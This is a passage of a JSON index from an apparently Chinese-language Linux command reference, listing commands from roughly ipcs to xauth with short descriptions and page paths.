":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"iscsiadm":{"n":"iscsiadm","p":"/iscsiadm","d":"管理iSCSI连接"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkcert":{"n":"mkcert","p":"/mkcert","d":"用来生成自签证书的工具"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modetest":{"n":"modetest","p":"/modetest","d":"DRM/KMS驱动程序libdrm中的模式测试工具"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mtr":{"n":"mtr","p":"/mtr","d":"`mtr`结合了`traceroute`和`ping`程序的功能，是一款简单的网络诊断工具。 "},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"nc是网络工具中的瑞士军刀"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"pacman":{"n":"pacman","p":"/pacman","d":"Arch Linux 系统及其衍生系统中默认使用的包管理器"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性(ipv4)"},"ping6":{"n":"ping6","p":"/ping6","d":"测试主机之间网络的连通性(ipv6)"},"pip":{"n":"pip","p":"/pip","d":"Python 编程语言中的包管理器，用于安装和管理第三方 Python 模块"},"pkexec":{"n":"pkexec","p":"/pkexec","d":"以其他用户身份执行命令"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"prtstat":{"n":"prtstat","p":"/prtstat","d":"显示进程信息"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwdx":{"n":"pwdx","p":"/pwdx","d":"用于显示指定进程的当前工作目录"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"reposync":{"n":"reposync","p":"/reposync","d":"同步yum存储库到本地目录"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"sha256sum":{"n":"sha256sum","p":"/sha256sum","d":"用于计算文件的 SHA-256 哈希值"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smartmontools":{"n":"smartmontools","p":"/smartmontools","d":"Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"sshpass":{"n":"sshpass","p":"/sshpass","d":"免交互 SSH 登录工具。"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将保存在 PCAP 文件包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连